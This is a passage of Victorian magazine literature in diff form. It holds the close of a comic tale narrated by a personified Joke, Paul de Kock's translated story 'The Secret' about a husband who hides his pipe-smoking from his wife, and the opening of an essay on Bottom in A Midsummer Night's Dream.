+to his illustrious patron, and the latter took the first opportunity
+of showing me off. I was never in my life more flattered than at the
+enthusiastic reception I met from the men of genius there assembled,
+although I have since thought that I was somewhat indebted for my
+success to the wealth and station of the illustrious joker. However
+that may be, my success was certain; and so much was I courted, that I
+was compelled to visit every house in Rome where wit and good-humour
+stood any chance of being appreciated. After living in this manner
+for about a hundred years, I took it into my head to go to sleep;
+and I slept so long, that, when I awoke, I found the victorious Hun
+in the streets of the city. This was no time for me to show my face;
+and, seeing so little prospect of happy times for me and my race, I
+thought I could not do better than go to sleep again. I did so, and
+when I awoke this second time found myself at the gay court of old king
+René of Provence. Among the bright ladies and amorous troubadours who
+held their revels there, I was much esteemed. There was, however, I
+am bound in candour to admit, some falling-off in my glory about this
+period. I was admitted to the tables of the great, it is true; but I
+was looked upon as a humble dependent, and obliged to eat out of the
+same platter with the hired jester. I could not tolerate this unworthy
+treatment for ever, and it had such an effect upon me that I soon lost
+much of my wonted spirit and humour. In fact, I was continually robbed
+of my point by these professed wits, and often made to look uncommonly
+stupid; so much so, that my friends sometimes doubted of my identity,
+and denied that I was the same joke they had been accustomed to laugh
+at. I contrived, however, to be revenged occasionally upon the unlucky
+jesters who introduced me _mal-à-propos_. They used to forget that
+their masters were not always in a humour to be tickled by a joke, and
+a sound drubbing was very often the only reward of their ill-timed
+merriment. This was some slight consolation to me; but I could not
+tolerate long the low society of these hired buffoons, and, as I did
+not feel sleepy, I was obliged to think of some scheme by which I might
+escape the continual wear and tear, and loss of polish, that I suffered
+at their hands. I at last resolved to shut myself up in a monastery,
+and lead a life of tranquillity and seclusion. You need not smile
+because so merry a personage as myself chose to be immured within the
+walls of a monastery, for I assure you that in the intellectual society
+of the monks,--the only intellectual society that one could meet with
+in those days,--I was soon restored to my original brightness. I lived
+so well and so luxuriously among these good people, that I quickly grew
+sleek and lazy, and somehow or other I fell into a doze, from which I
+was not awakened until a wit in the reign of Elizabeth stumbled upon
+me, and again brought me out into the busy world. I ran a splendid
+career in England."
+
+"Did you?" said I, interrupting the Joke at this part of his narrative,
+and appealing to him with considerable energy of manner, for I began
+to be apprehensive that some of my friends, more learned than myself,
+might have discovered the antiquity of my "joke," and would quiz me on
+the subject. I restrained my impetuosity, however, and, with some alarm
+depicted in my countenance, I asked him in a trembling voice, "Did
+you--did you--ever--meet with--Joe Miller?"
+
+"D--Joe Miller!" said the Joke with much vivacity; "I suffered more
+from the dread of that fellow than I ever suffered in my life. I had
+the greatest difficulty in keeping out of his way, and I only managed
+it by going to sleep again. You awoke me from that slumber, when, like
+many others who came before you, you passed me off as your own. You
+remember you got much credit for me, as all ever have done who have
+good sense enough to introduce me only at a proper time, and wit enough
+to launch me forth with all my native grace and brilliancy about me."
+
+"Then you are not a Joe?" said I, much relieved.
+
+"A Joe!" said the Joke, reddening with anger. "Have I not told you
+already that I am not? Do you mean to insult me by the vile insinuation
+that I ever showed my face in such despicable company? Do you think,
+sir, that I am a pun?"
+
+"Oh, by no means," said I; "I assure you I meant no offence."
+
+"You did, sir," replied the Joke, striking his fist upon the table with
+great vehemence. Immediately afterwards I observed that his face became
+dreadfully distorted, and he shook his head convulsively from side to
+side. As I continued to gaze without the power of saying a single word
+to calm the irritation I had so unintentionally raised, I noticed that
+his neck grew every instant longer and longer, until his chin seemed to
+be fully two feet from his shoulders. I was unable to endure the sight,
+and rising up, half frantic with nervous excitement, I put my hand
+convulsively upon his head, with the benevolent intention of squeezing
+it down to its proper level. He glared furiously at me with his swollen
+eyes, and, horrible to relate, just as I came in contact with him, his
+head flew off with a tremendous explosion, and bounced right through
+a chimney-glass that ornamented my mantel-piece. The glass flew in
+shivers round me. In a dreadful state of alarm I rang the bell for
+assistance, and sank down overpowered upon the chair.
+
+"Beggin' your honour's pardon for being so bould," said my tiger, a
+good-natured Irish boy named Phelim, who had entered at the summons,
+"I think your honour had better drink a bottle of soda-water and go to
+bed."
+
+"Where's his head, Phelim?" said I.
+
+"Your own, or the bed's?" said Phelim.
+
+"The Joke's," replied I.
+
+"Och, you must mane your own; it's light enough, I dare say," said
+Phelim as he pulled my boots off. "You took a dhrop too much last
+night, anyhow."
+
+"Phelim," said I solemnly, "did you hear nothing?"
+
+"To be sure I did," said Phelim. "Haven't you, like a drunken baste as
+you are, (begging your pardon for my bouldness,) been trying to broach
+that bottle of champagne at this early hour of the mornin', and haven't
+you driven the cork through the lookin'-glass?"
+
+I looked at the bottle; it was uncorked, and the champagne was even at
+that moment sparkling over the neck of the bottle, and running over my
+books and papers.
+
+"A pretty piece of work you have made of it," said Phelim, picking up
+the cork and pointing to the looking-glass.
+
+"'Twas a good joke," said I, although my faith was somewhat staggered
+by Phelim's explanation.
+
+"Troth, an' I'm glad you take it so asy," said Phelim, ramming the cork
+into the bottle; "you'll find it a dear one when the landlady brings in
+her bill for the lookin'-glass. But never mind it, sir, now. Go to bed
+and get sober."
+
+I took Phelim's advice, and went to bed. To this day I am unable
+positively to decide whether his explanation was the true one or not.
+I incline, however, to the belief that I was _not_ drunk, but that
+the illustrious JOKE actually visited me in _propriâ personâ_. I am
+the more inclined to this belief from the remarkable coherency of
+his narrative, which I now leave, without a word of comment, to the
+consideration of the curious.
+
+
+
+
+THE SECRET.
+
+TRANSLATED FROM THE FRENCH OF M. PAUL DE KOCK.
+
+
+Nathalie de Hauteville at the age of twenty-two had been for three
+years a widow. She was one of the most beautiful women in Paris; a
+brunette, with large black eyes, and one of those fascinating faces
+whose charm consists more in expression than in regularity of features,
+and in which are portrayed at once all the elegance of the Frenchwoman,
+all the vivacity of the Italian, and all the fire of a daughter of
+Spain.
+
+When she married, at eighteen, a man of nearly three times her age,
+Nathalie, a mere child in character, had not bestowed a thought on
+any thing beyond her wedding dresses, her marriage presents, and the
+delight of being called Madame. Her husband was as generous to her as
+he was rich. Twelve months had passed in a continued round of gaiety
+and amusement, when M. de Hauteville was suddenly attacked by a disease
+which carried him off in a few days, and left his young widow to mourn
+for a husband as she would have mourned for the loss of a friend and
+protector.
+
+But, at eighteen, sorrow soon passes away; the heart is so new to every
+feeling, to every illusion. Madame de Hauteville found that she was
+courted by the world; that she was invited everywhere; and that, by her
+fortune and her position, she was called upon to become an ornament of
+society. Yet she felt that she was too young to live without a mentor,
+and to go out alone; so she asked her uncle, M. d'Ablaincourt, to come
+and live with her.
+
+M. d'Ablaincourt was an old bachelor: one love only, had he ever
+known, and the object of that was--himself. His love for himself was
+paramount; and, if ever he went so far as to show any liking for any
+other individual, he must have received from that individual such
+attention as to make him a gainer by their intimacy. M. d'Ablaincourt
+was an egotist; but, at the same time, a well-bred, a well-mannered
+egotist. He had all the air of devoting himself to the wishes of
+others, whilst he was exclusively occupied in compassing his own;
+he would appear to be taking a lively interest in those around him,
+whilst, in reality, he never felt any interest in anybody but himself.
+Too thoughtless to do harm, he was as little disposed to do good,
+unless it were for his own advantage. In short, he liked to be at his
+ease, and to be surrounded with all the enjoyments which luxury could
+invent. Such was the character of M. d'Ablaincourt, who readily acceded
+to his niece's proposal, because Nathalie, though a little giddy, had
+a good and affectionate heart, and would load him with kindnesses and
+attentions.
+
+M. d'Ablaincourt went out into the world with his niece, because he had
+not yet lost his relish for its pleasures; but, if an invitation came
+for any party which he thought held out no amusement for him, he would
+turn to her, and say, "I am afraid, my dear, you will not like this
+party; there will be nothing at all but play. I shall be very happy to
+take you; you know I always do exactly as you wish, but I think you
+will find it dull." And Nathalie, who was all confidence in her
+uncle, never failed to answer, "You are quite right, uncle; it will be
+much better for us not to go."
+
+[Illustration: The Secret]
+
+So it was with everything else. M. d'Ablaincourt, who, without wishing
+to be thought so, was an excessive _gourmand_, said one day to his
+niece, "You know, my dear, I am no _gourmand_; I care very little
+myself how things are served up, and am always satisfied with what is
+laid before me; but your cook puts too much salt in everything, which
+is not wholesome for a young woman; and then, she sends up her dishes
+in a careless, slovenly way, which is very annoying to me on your
+account, as you often give dinners. The other day there were six people
+at table, and the spinage was badly dressed. You must consider what
+people will say of your management when they see such neglect. They
+will say that Madame de Hauteville has no idea of having things as they
+ought to be; and this may do you harm, as there are persons who notice
+everything."
+
+"What you say is very true, dear uncle; will you take the trouble of
+looking out for a good cook for me?"
+
+"To be sure, my love; you know I think nothing of trouble when I can be
+of service to you."
+
+"How lucky I am in having you always by me to tell me of all these
+little things, which I should never think of!" said Nathalie, kissing
+her uncle; and he, good old man, forthwith discharged the cook who
+dressed the spinage badly, to make way for one who shone particularly
+in all _his_ favourite dishes.
+
+Another time some improvements were to be made in the garden; for
+instance, the trees in front of the old gentleman's windows were to be
+felled, because they might occasion a dampness which would be dangerous
+for Nathalie. And then, the elegant calash was to be exchanged for a
+landau, as being a carriage in which a young lady could be much more at
+her ease. So minutely attentive was M. d'Ablaincourt to the comforts
+and enjoyments of his niece!
+
+Nathalie was somewhat of a coquette: accustomed to conquest, she used
+to listen with a smile to the numerous proposals which were made to
+her, and sent off all suitors to her uncle, telling them, "Before I can
+give you any hope, I must know what M. d'Ablaincourt thinks of you."
+
+Had her heart favoured any individual, it is probable that the answer
+of Nathalie would have been different; but, as it was, she thought
+nothing could be more agreeable than to please all, and be the slave of
+none.
+
+The old gentleman, for his part, being master in his niece's house, was
+not at all anxious that she should marry again. A nephew might be less
+inclined to give way, less indulgent to him than Nathalie, so that he
+never failed to find some serious fault in every fresh aspirant to the
+hand of the pretty widow, and, as in every other case, he seemed to be
+thinking of nothing but her happiness.
+
+In addition to his egotism, and his fondness for good living, M.
+d'Ablaincourt had of late years been seized with a violent passion
+for _tric-trac_. His favourite pastime, his highest delight, was this
+game; but, unfortunately for him, it was one very little played. The
+ladies do not like it in a room, because it is noisy; the gentlemen
+prefer _bouillotte_ or _écarté_; so that the old gentleman very seldom
+found an opportunity of indulging his propensity. If any of his
+niece's visitors did happen to play, he seized upon them for the whole
+evening;--there was no possibility of escape. But, as they did not come
+to the pretty widow's for the sake of a game at _tric-trac_ with the
+old uncle, many were the nights he sighed in vain for somebody to play
+with.
+
+To please her uncle, Nathalie attempted to learn; but in vain. She was
+too giddy to give the necessary attention, and was continually making
+mistakes: the uncle scolded; and at last, Nathalie, throwing away dice
+and dice-box, said, "It is no use,--I never can learn this game."
+
+"I am sorry for it," answered M. d'Ablaincourt, "very sorry; it would
+have given you so much pleasure. I only wished to teach it you for your
+own amusement."
+
+Such was the state of affairs, when, at a very large party, where
+Nathalie was allowed to stand unrivalled for personal beauty and
+elegance of dress, was announced M. d'Apremont, a captain in the navy.
+
+Nathalie expected to see a blunt, gruff old sailor, with a wooden leg,
+and a black patch on his eye. To her great astonishment there entered
+a tall, handsome young man, with a graceful figure and commanding air,
+and without either a wooden leg or a black patch.
+
+Armand d'Apremont had entered the service very early in life; his whole
+soul was in his profession; and, though only thirty, he had risen to
+the rank of captain. His family property was considerable, and he had
+increased his fortune by his own exertions. Under these circumstances
+it is not surprising that, after fifteen years spent at sea, he should
+have yielded to a longing for repose; yet he never could be persuaded
+to listen to the solicitations of his friends, who urged him to marry:
+hitherto he had only laughed at love as a passion unworthy of a sailor.
+
+The sight of Nathalie changed all his ideas,--the whole man underwent
+a sudden revolution. He watched her dancing, and could look nowhere
+else. All the other beauties in the room passed before him but as vain
+shadows, so busy were his eyes in following the graceful movements of
+the young widow.
+
+"Who is that lovely creature who dances so beautifully?" at last he
+exclaimed to a person next him.
+
+"That is Madame de Hauteville, a young widow. You admire her, captain?"
+
+"I think her enchanting."
+
+"She is very beautiful! And her mental qualifications are at least
+equal to her personal charms. But you must ask her to dance, and then
+you will be able to judge for yourself."
+
+"_I_ ask her to dance! I never danced in my life!" and for the first
+time Armand felt that this was a deficiency in his education. However,
+he went and stood close to the beauty, watching an opportunity of
+entering into conversation with her. Once he was on the very point
+of succeeding, when a young man came up, and led her away to the
+quadrille. Poor Armand bit his lips, and was obliged again to content
+himself with admiring her dancing. This whole evening he made no
+further advances, but he did not lose sight of his enchantress for an
+instant.
+
+The captain's behaviour did not pass unobserved by Nathalie,--so
+soon do women see what effect they produce,--and, although she did
+not appear to notice it, she felt secretly not a little flattered;
+for D'Apremont had been described to her as a man who was far from
+agreeable in the society of ladies, and who had never been known to pay
+a single compliment. And Nathalie said to herself, "What fun it would
+be to hear him make love!"
+
+D'Apremont, who, before he had seen Nathalie, went very little into
+society, particularly to balls, from henceforth never missed going
+wherever he had a chance of meeting his fair widow. He had succeeded in
+speaking to her, and had done his utmost to render himself agreeable.
+His behaviour was entirely changed, and the world was not more slow
+than usual in discovering the cause, or in commenting upon the marked
+attention which he paid to Nathalie.
+
+"Mind you are not caught, captain!" a good-natured friend would say.
+"Madame de Hauteville is a coquette, who will but make a toy of your
+love, and a joke of your sighs." And to Nathalie some equally kind
+friend would say, "The captain is an original, a bear, with every
+fault that a sailor can possess. He is passionate, he is obstinate, he
+swears, he smokes. You will never make anything of him."
+
+In spite of these charitable warnings,--the result, perhaps, of
+envy and jealousy,--the sailor and the coquette enjoyed a mutual
+pleasure in each other's society. Whenever D'Apremont was on the
+point of forgetting himself, and letting out an expression a little
+too nautical, Nathalie looked at him with a slight frown. He stopped
+short, stammered, and dared not finish his sentence, so afraid was he
+of seeing a harsh look on that pretty face. Nor is it a slight proof of
+the mighty power of love that it can thus implant fear in the breast of
+a sailor.
+
+Some rumours of his niece's new conquest had reached the ears of M.
+d'Ablaincourt; but he had paid but little attention to them, thinking
+that this new admirer would share the fate of all the others, and that
+it would be very easy to get him dismissed. Yet the report had so far
+increased, that when Nathalie one day told her uncle that she had asked
+the captain to her house, the old gentleman almost flew into a passion,
+and said, with a vehemence quite uncommon to him, "You have acted very
+wrong, Nathalie; you do not consult me as you ought. I am told that
+Captain d'Apremont is a blunt, unpolished, quarrelsome----. He is
+always behind your chair, and he has never even asked _me_ how I did.
+There was no necessity at all for you to ask him. You know, my dear,"
+added he, softening his tone, "all I say is for your good; but indeed
+you are too thoughtless."
+
+Nathalie, quite afraid that she had acted very inconsiderately, was
+going to put off the captain; but this the uncle did not require:--he
+thought he should be able to prevent too frequent a repetition of his
+visits.
+
+It is a trite observation, that the most important events in life
+are frequently the result of the most trivial incidents,--that on a
+mere thread, which chance has flung in our way, may hang our whole
+future destiny. Such was the case in the present instance: to the game
+of _tric-trac_ it was owing that Madame de Hauteville became Madame
+d'Apremont. The captain was an excellent player; and happening in the
+course of conversation to broach the subject, M. d'Ablaincourt caught
+at him immediately, and proposed a game. D'Apremont consented; and,
+having understood that it was necessary to play the agreeable to the
+old uncle, spent the whole evening at _tric-trac_.
+
+When everybody was gone, Nathalie complained of the captain's want of
+gallantry,--that he had hardly paid her any attention at all.
+
+"You were quite right," said she pettishly to her uncle; "sailors are
+very disagreeable people. I am very sorry I ever asked M. d'Apremont."
+
+"On the contrary, my dear," replied the old bachelor, "we had formed
+quite an erroneous opinion of M. d'Apremont. I found him so agreeable
+and so well-bred, that I have asked him to come very often to play
+with me,--I mean, to pay his court to you. He is a very clever,
+gentlemanlike young man."
+
+Nathalie, seeing that the captain had won the heart of her uncle,
+pardoned his want of attention to her. Thanks to _tric-trac_, and to
+his being necessary to M. d'Ablaincourt's amusement, he came very often
+to the house, and at last succeeded in winning the heart of the young
+widow. One morning she came, her face covered with blushes, to tell her
+uncle that M. d'Apremont had proposed to her, and to ask his advice.
+
+The old gentleman thought for a few minutes, and he said to himself,
+"If she refuses him, there will be an end to his visits here; no more
+_tric-trac_. If she accepts him, he will be one of the family; I shall
+always be able to nail him for a game;" and the answer was, "You cannot
+do better than accept him."
+
+The happiness of Nathalie was complete, for she really loved Armand;
+but, as a woman never should seem to yield too easily, she sent for the
+captain to dictate her conditions.
+
+"If it is true that you love me," she began.
+
+"_If_ it is true! Oh, madame, I swear by all----"
+
+"Allow me to speak first. If you love me, you will not hesitate to give
+me the proofs I demand."
+
+"Whatever you ask, I----"
+
+"In the first place, you must no longer swear as you do occasionally;
+it is a shocking habit before a lady: secondly,--and on this point I
+insist more particularly,--you must give up smoking, for I hate the
+smell of a pipe of tobacco; in short, I never will have a husband who
+smokes."
+
+Armand heaved a sigh, and answered, "To please you I will submit to
+anything,--I will give up smoking."
+
+Her conditions being thus acceded to, the fair widow could no longer
+withhold her hand, and in a short time Armand and Nathalie reappeared
+in the world as a newly-married and happy couple. Yet the world was not
+satisfied. "How could that affected flirt marry a sailor?" said one.
+"So, the rough captain has let himself be caught by the pretty widow's
+coquetry," said another. "This is a couple ill-matched enough."
+
+Poor judges of the human heart are they who imagine a resemblance of
+disposition to be essential to love! On the contrary, the most happy
+effects are produced by contrast: mark but the union of light and
+shade; and is not strength wanting to uphold weakness:--the wild bursts
+of mirth to dispel melancholy? You join together two kindred tempers,
+two similar organisations, and what is the result? 'Tis as the blind
+leading the blind.
+
+Our young couple passed the first few months after their marriage in
+undisturbed happiness. Yet in the midst of the rapture he experienced
+in the society of his lovely bride, Armand sometimes became pensive,
+his brow was contracted, and his eyes betrayed a secret uneasiness: but
+this lasted not; it was but as a fleeting cloud, which passes without
+leaving a trace. Nathalie had not hitherto perceived it. After some
+time, however, these moments of restlessness and gloom recurred so
+frequently as no longer to escape her observation.
+
+"What is the matter, my love?" said she to her husband one day when she
+saw him stamping his foot with impatience; "what makes you so cross?"
+
+"Nothing, nothing at all!" answered the captain, as if ashamed of
+having lost his self-possession. "With whom do you think I should be
+cross?"
+
+"Indeed, my dear, I know not; but I have fancied several times that I
+perceived a something impatient in your manner. If I have unconsciously
+done anything to vex you, do tell me, that it may never happen again."
+
+The captain kissed his wife affectionately, and again assured her that
+she was mistaken. For some days he manifested none of those emotions
+which had so disturbed Nathalie; but at length the same thing occurred
+again: Armand forgot himself once more, and she racked her brain to
+guess what cause her husband could have for this uneasiness. Not being
+satisfied with her own solution of the problem, she communicated her
+thoughts to her uncle, who replied immediately, "Yes, my dear, you are
+quite right; I am sure something must be the matter with D'Apremont;
+for several times lately, at _tric-trac_ he has looked round with an
+abstracted air, passed his hand across his temples, and finished by
+making an egregious blunder."
+
+"But, my good uncle, what can the mystery be? My husband must have some
+secret which preys upon his mind, and he does not choose to trust me
+with it."
+
+"Very likely; there are many things which a man cannot tell his wife."
+
+"Which a man cannot tell his wife! That is a thing I do not understand.
+I expect my husband to tell me everything, to have no mysteries with
+me, as I have none with him. I can never be happy so long as he on whom
+I have bestowed my heart, keeps any secret from me."
+
+M. d'Ablaincourt, to comfort his niece, or rather, perhaps, to cut
+short a conversation which began to bore him, promised to do his utmost
+to discover the cause of his nephew's uneasiness; but he went no
+further than trying to make him play oftener at _tric-trac_, as being
+an excellent method of keeping him in good humour.
+
+Early in the summer they left Paris for a beautiful property belonging
+to the captain in the neighbourhood of Fontainebleau. He appeared
+still as fond of his wife as ever; to afford her pleasure was his
+delight, to anticipate her wishes his study; but, as she was not fond
+of walking, he begged to be allowed to take a stroll into the country
+every day after dinner. This was too natural a request to be denied;
+and after dinner, whether they were alone or not, out went Armand, and
+returned in the best humour imaginable. Still Nathalie was far from
+being satisfied; her suspicions returned, and she said to herself,
+"My husband has no longer the serious, gloomy look he used to wear in
+Paris; but it is only since he has gone out every evening after dinner.
+Sometimes he is away two hours,--where can he go?--and he always likes
+to be alone. There is some mystery in his conduct, and I shall never be
+happy until I have found it out."
+
+Sometimes Nathalie thought of having her husband followed; but this
+was a step too repugnant to her feelings. To take a servant into her
+confidence, to place a spy on the path of a man the business of whose
+life seemed to be to give her pleasure, she felt would be wrong, and
+she gave up the idea. To her uncle alone she ventured to disclose her
+anxiety, and he simply answered, "True, your husband plays less at
+_tric-trac_, but still he does play; and as to my following him in his
+walks, it is out of the question, for he has very good legs, and I have
+very bad ones;--I should be fatiguing myself to no purpose."
+
+One day that Madame d'Apremont gave a party, a young man present said,
+laughing, to the master of the house,
+
+"What were you doing yesterday, Armand, in the disguise of a peasant
+at the window of a little cottage about half a mile from hence? If my
+horse had not started, I was coming to ask if you were feeding your
+sheep."
+
+"My husband in the disguise of a peasant!" exclaimed Nathalie, fixing
+her eyes upon Armand in amazement.
+
+"Oh! Edward has made a mistake," replied the captain, endeavouring to
+conceal a visible embarrassment; "he must have taken somebody else for
+me."
+
+"Very likely," said the young man, hurt at the impression which his
+words had made upon Nathalie, and perceiving that he had been guilty of
+an indiscretion; "I must have been deceived."
+
+"How was the man dressed?" asked Nathalie. "Where was the cottage?"
+
+"Really I know the country so little, I should have some difficulty in
+finding the spot. As for the man, he had on a blue smock-frock, with a
+sort of cap on his head. I don't know what could have put it into my
+head that it was the captain, as it is not the carnival."
+
+Madame d'Apremont said no more on the subject, but remained persuaded
+that it _was_ her husband. The assumption of a disguise proved that he
+was engaged in some extraordinary intrigue, and in a flood of tears
+poor Nathalie complained of the bitterness of her lot in having married
+a man of mysteries.
+
+Whether secrets of this nature are the only ones which women can keep,
+far be it from me to decide; but certain it is that they always connect
+some infidelity with those of our sex. Madame d'Apremont did not form
+an exception to this general observation, and in a fit of jealousy she
+begged to return to town. Her husband consented immediately, and in a
+few days they were in Paris. Here the captain again betrayed the same
+symptoms of discontent, until one day he said to his wife, "My dear, a
+walk after dinner does me a great deal of good. During the latter part
+of our stay in the country I was quite well in consequence. You can
+easily conceive that an old sailor wants exercise, and that he cannot
+remain cooped up in a room or a theatre all the evening."
+
+"Oh! very easily," replied Nathalie, biting her lips with spleen; "go
+and take your walk, if it does you good."
+
+"But, my love, if it annoys you----"
+
+"Oh! not in the least; take your walk; I have no objection."
+
+So the husband took his evening walk, returned in excellent spirits,
+and again every sign of impatience had vanished.
+
+"My husband is carrying on some intrigue: he loves another, and cannot
+live without seeing her," said poor Nathalie to herself. "This is the
+secret of his strange conduct, of his ill-humour, and of his walks. I
+am very, very wretched; and the more so that when he is with me he is
+all kindness, all attention! I know not how I can tell him that he is
+a monster, a traitor! But tell him I must, or my heart will burst! Yet
+if I could but get some undeniable proof of his faithlessness. Oh! yes,
+I will have some proof." And with a swelling heart, and eyes full of
+tears, she rushed into her uncle's room, crying that "she was the most
+miserable woman alive!"
+
+"What is the matter?" said the old gentleman, burying himself in his
+arm-chair. "What has happened?"
+
+"Every day after dinner," answered his niece, sobbing, "my husband goes
+out to walk, as he did in the country, and stays away two hours. When
+he returns, he is always cheerful and gay, gives me a thousand little
+marks of his attention, and swears that he adores me as he did the day
+of our marriage. Oh! my good uncle, I can bear it no longer!--You must
+see that this is all treachery and deceit. Armand is playing me false."
+
+"He plays less with me at _tric-trac_," was the answer of the
+imperturbable uncle; "but still----"
+
+"My dear uncle, if you do not help me to discover this mystery, I shall
+die of grief--I shall commit some rash act--I shall get separated from
+my husband. Oh! my good uncle, you who are so kind, so ready to oblige,
+do render me this service,--do find out where my husband goes every
+evening."
+
+"There can be no doubt about my readiness to oblige, seeing that it has
+been the business of my life; but really I do not know how I can serve
+you."
+
+"Again I repeat, that, if this mystery is not cleared up, you will lose
+your niece."
+
+M. d'Ablaincourt had no wish to lose his niece, or, for the matter of
+that, his nephew either. He felt that any rupture between the young
+couple would disturb the quiet, easy life he was now enjoying, and he
+therefore decided upon taking some steps to restore peace. He pretended
+to follow the captain; but, finding this fatiguing, he returned slowly
+home after a certain time, and said to his niece, "I have followed your
+husband more than six times, and he walks very quietly alone."
+
+"Where, where, my dear uncle?"
+
+"Sometimes one way, and sometimes another; so that all your suspicions
+are entirely without foundation."
+
+Nathalie was not duped by this answer, though she pretended to place
+implicit confidence in her uncle's words. Determined on discovering
+the truth, she sent for a little errand-boy, who stood always at the
+corner of their house, and whom she had heard more than once praised
+for his quickness and intelligence. Having ascertained that he knew
+her husband by sight, she said to him, "M. d'Apremont goes out every
+evening. To-morrow you must follow him, watch where he goes, and bring
+me back word immediately. And take care not to be seen."
+
+The boy promised to execute her orders faithfully, and Nathalie awaited
+the morrow with that impatience of which the jealous alone can form
+any idea. At length the moment arrived, the captain went out, and
+the little messenger was on his track. Trembling, and in a fever of
+agitation, Nathalie sat counting the minutes and seconds as they passed
+until the return of the boy. Three quarters of an hour had elapsed
+when he made his appearance, covered with dust, and in a violent
+perspiration.
+
+"Well," said Nathalie in an altered tone of voice, "what have you seen?
+Tell me everything."
+
+"Why, ma'am, I followed the master, taking care he shouldn't see
+me--and a long chase it was--to the Vieille Rue du Temple in the
+Marais. There he went into a queer-looking sort of a house,--I forget
+the number, but I should know it again,--in an alley, and there was no
+porter."
+
+"No porter!--in an alley!--Oh, the wretch!"
+
+"As soon as the master had gone in," continued the boy, "I went in too.
+He kept on going up stairs till he got to the third floor, and then he
+took out a key and opened the door."
+
+"The monster!--he opened the door himself,--he has a key,--and my uncle
+to take his part! You are quite sure he opened the door himself,--that
+he did not knock?"
+
+"Quite sure, ma'am; and, when I heard him shut the door, I went up
+softly and peeped in at the keyhole: as there were only two doors, I
+soon found the right one; and there I saw the master dragging a great
+wooden chest across the room, and then he began to undress himself."
+
+"To undress himself!--O Heavens!--Go on."
+
+"I couldn't see into the corner of the room where he was; but presently
+he came out dressed in a grey smock, with a Greek cap on his head. And
+so, ma'am, I thought you'd like to know all I'd seen, and I ran with
+all my might to tell you."
+
+"You are a very good boy. You must now go and fetch a coach directly,
+get up with the coachman, and direct him to the house."
+
+Nathalie, meanwhile, flew to her room, put on a bonnet and shawl,
+rushed down to her uncle crying out, "My husband has betrayed me,--I am
+going to catch him;" and before the old gentleman could extract another
+word from her, she was out of the house, in the coach, and gone. In
+the Vieille Rue du Temple the coach stopped; Nathalie got out, pale,
+trembling, and scarcely able to support herself. The boy showed her
+the entrance, and she declined his further attendance. With the help
+of the hand-rail she ascended a dark narrow staircase till she reached
+the third story, when she had just force enough left to throw herself
+against the door, and cry out,
+
+"Let me in, or I shall die!"
+
+The door opened, the captain received her in his arms, and she saw
+nothing but her husband alone, in a smock and a Greek cap, smoking a
+superb Turkish pipe.
+
+"My wife!" exclaimed Armand in utter amazement.
+
+"Yes, sir," replied Nathalie, resuming her self-command,--"your injured
+wife, who has discovered your perfidy, and has been made acquainted
+with your disguise, and who has come in person to unravel the mystery
+of your conduct."
+
+"What, Nathalie!--could you, then, suppose that I loved another? You
+wish to fathom the mystery,--here it is;" and he showed her the pipe.
+"Before our marriage you forbade me to smoke, and I promised to obey.
+For some months I kept my promise most faithfully. Oh! Nathalie, if
+you did but know what I suffered in consequence,--the fretfulness, the
+depression of spirits under which I laboured for hours together!--it
+was my old friend that I missed, my darling pipe that I sighed for in
+vain! At last I could hold out no longer; and, when we were in the
+country, happening to go into a cottage where an old man was smoking,
+I asked him if he could afford me a place of refuge, and at the same
+time lend me a smock and a hat; for I was afraid that my clothes
+might betray me. Our arrangements were soon made; and, thanks to this
+precaution, you had not the slightest suspicion of the real cause of
+my daily absence. Shortly afterwards you determined upon returning to
+Paris; and, being obliged to find a new way of indulging myself with my
+pipe, I took this little garret, and brought hither my old dress. You
+are now, my love, in possession of the whole mystery, and I trust you
+will pardon my disobedience. You see I have done everything in my power
+to conceal it from you."
+
+Nathalie threw herself into her husband's arms, and cried out in an
+ecstasy of delight,
+
+"So this is really all!--how happy I am! From henceforth, dearest,
+you shall smoke as much as you like at home; you shall not have to
+hide yourself for that!" and away she went to her uncle with a face
+all beaming with joy, to tell him that Armand loved her, adored her
+still,--it was only that he smoked. "But now," added she, "I am so
+happy, that he shall smoke as much as he likes."
+
+"The best plan will be," said M. d'Ablaincourt, "for your husband to
+smoke as he plays at _tric-trac_; and so," thought the old gentleman,
+"I shall be sure of my game every evening."
+
+"My dear Nathalie," said the captain, "though I shall take advantage of
+the permission you so kindly give me, still I shall be equally careful
+not to annoy you, and shall take the same precautions as before."
+
+"Oh! Armand, you are really too good; but I am so happy at being
+undeceived in my suspicions, that I think now, I quite like the smell
+of a pipe."
+
+
+
+
+SHAKSPEARE PAPERS.--No. IV.
+
+MIDSUMMER NIGHT'S DREAM.
+
+BOTTOM, THE WEAVER.
+
+     "Some men are born with a silver spoon in their mouths, and others
+     with a wooden ladle."--_Ancient Proverb._
+
+     "Then did the sun on dunghill shine."--_Ancient Pistol._
+
+
+It has often been remarked that it is impossible to play the enchanted
+scenes of Bottom with any effect. In reading the poem we idealize the
+ass-head; we can conceive that it represents in some grotesque sort
+the various passions and emotions of its wearer; that it assumes a
+character of dull jocosity, or duller sapience, in his conversations
+with Titania and the fairies; and when calling for the assistance
+of Messrs. Peas-blossom and Mustard-seed to scratch his head, or of
+the Queen to procure him a peck of provender or a bottle of hay, it
+expresses some puzzled wonder of the new sensations its wearer must
+experience in tinglings never felt before, and cravings for food until
+then unsuited to his appetite. But on the stage this is impossible.
+As the manager cannot procure for his fairies representatives of such
+tiny dimensions as to be in danger of being overflown by the bursting
+of the honey-bag of an humble-bee, so it is impossible that the art
+of the property-man can furnish Bottom with an ass-head capable of
+expressing the mixed feelings of humanity and asinity which actuate the
+metamorphosed weaver. It is but a pasteboard head, and that is all.
+The jest is over the first moment after his appearance; and, having
+laughed at it once, we cannot laugh at it any more. As in the case of
+a man who, at a masquerade, has chosen a character depending for its
+attraction merely on costume,--we may admire a Don Quixote, if properly
+bedecked in Mambrino's helmet and the other habiliments of the Knight
+of La Mancha, at a first glance, but we think him scarcely worthy of a
+second.
+
+So it is with the Bottom of the stage; the Bottom of the poem is a
+different person. Shakspeare in many parts of his plays drops hints,
+"vocal to the intelligent," that he feels the difficulty of bringing
+his ideas adequately before the minds of theatrical spectators. In the
+opening address of the Chorus of Henry V. he asks pardon for having
+dared
+
+      "On this unworthy scaffold to bring forth So great an object. Can
+      this cockpit hold The vasty fields of France? or, may we cram
+      Within this wooden O, the very casques That did affright the air
+      at Agincourt?"
+
+and requests his audience to piece out the imperfections of the theatre
+with their thoughts. This is an apology for the ordinary and physical
+defects of any stage,--especially an ill-furnished one; and it requires
+no great straining of our imaginary forces to submit to them. Even
+Ducrow himself, with appliances and means to boot a hundred-fold
+more magnificent and copious than any that were at the command of
+Shakspeare, does not deceive us into the belief that his fifty horses,
